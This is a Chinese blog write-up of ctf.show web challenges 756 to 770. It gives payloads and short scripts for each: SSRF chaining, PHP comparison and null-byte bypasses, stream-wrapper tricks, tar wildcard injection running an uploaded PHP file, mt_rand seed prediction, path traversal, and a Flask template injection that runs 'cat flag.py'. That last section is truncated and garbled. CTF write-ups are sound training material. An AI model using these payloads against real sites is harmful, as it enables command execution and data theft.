因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。
文章目录
web756
- web756
- web757
- web758
- web759
- web760
- web761
- web762
- web763
- web764
- web765
- web766
- web767
- web768
- web769
- web770
code=GLOBALS
web757
每次传入的key前七个字符需要是上传返回的,并且substr(md5($value),5,4)==0)
因为不是每一次md5都有可能字母开头,所以我们需要多测试几次,直接在给的key后面不断加字符就可以了。
import requests
url="http://5a0b2552-05b1-4ca3-bf1f-9cf7ea54b0a5.challenge.ctf.show/"
key='ctfshow'
sess=requests.session()
for i in range(0,10):
t=''
while True:
data={'code':key}
r=sess.post(url,data=data)
if(len(r.text)!=0):
key=r.text
#print(key)
break
else:
t=t+'1'
key=key+t
print(key)
web758
同web689
?file=a.php&url=http://127.0.0.1/?file=%26url=http://127.0.0.1/
web759
科学计数法绕过比较 00截断绕过判断字符串
value=9e13%00%23ctfshow%23
web760
data和php://input协议都可以过
GET:
^.^=php://input
POST:
(●'◡'●)
GET:
^.^=data://text/plain,(●'◡'●)
或者
^.^=data:,(●'◡'●)
web761
运行这个bash即可 * /t*
相当于执行了tar cvf z ../t*
将打包的文件写入到了z文件中,而/t*中肯定会包含/tmp/phpxxxxxx,也就是上传的临时文件。 这样z中就包含test.php中的内容,最后在通过php来执行该文件 最后flag在数据库中。。。。用蚁剑连一下数据库就能拿到了。
第一个需要绕过的地方
$login['cookie'] != @md5($_SESSION['flag'])
因为session从初始化开始就从来没有设置过flag值,所以相当于是空的,也就等价与md5('');
(d41d8cd98f00b204e9800998ecf8427e) 所以$id[cookie]=d41d8cd98f00b204e9800998ecf8427e
后面就是一个伪随机数的问题了。 种子是固定的,所以后面生成的值也是固定的了。
$a=md5('');
echo $a;
echo "\n";
mt_srand(substr($a,17,7));
echo mt_rand(); //flag文件名
echo "\n";
mt_srand(mt_rand()); //第二次种子生成
echo mt_rand(); //post key的内容
echo "\n";
echo mt_rand(); //$随机数的值为flag的文件名,也就是 $xxx=filename
?id[cookie]=d41d8cd98f00b204e9800998ecf8427e
key=954576979&1277894509=filename
web765
可以任意读文件,先读下源码/article?name=../app.py
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
from flag import ctfshowflag as FLAG
from key import key
app = Flask(__name__)
#FLAG = flag
app.secret_key = key
@app.route("/page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
code = request.form.get("code") or None
if code is not None:
code = code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "code" not in session or session['code'] is None:
session['code'] = code
template = None
if session['code'] is not None:
template = '''
Page {config.__class__.__init__.__globals__[\"os\"].popen(\"cat flag.py\").read()}}"}'
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?